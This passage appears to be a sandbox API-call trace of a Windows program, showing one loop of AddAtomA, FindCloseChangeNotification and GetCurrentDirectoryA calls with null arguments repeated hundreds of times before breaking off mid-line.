[0050.832] AddAtomA (lpString=0x0) returned 0x0 [0050.832] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.833] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.833] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.833] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.834] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.834] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.834] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.835] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.835] AddAtomA (lpString=0x0) returned 0x0 [0050.835] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.836] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.836] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.836] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.837] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.837] AddAtomA (lpString=0x0) returned 0x0 [0050.837] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.838] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.838] AddAtomA (lpString=0x0) returned 0x0 [0050.838] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.839] AddAtomA (lpString=0x0) returned 0x0 [0050.839] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.839] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.840] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.840] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.840] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.841] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.841] AddAtomA (lpString=0x0) returned 0x0 [0050.841] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0050.842] AddAtomA (lpString=0x0) returned 0x0 [0050.842] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0050.842] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: 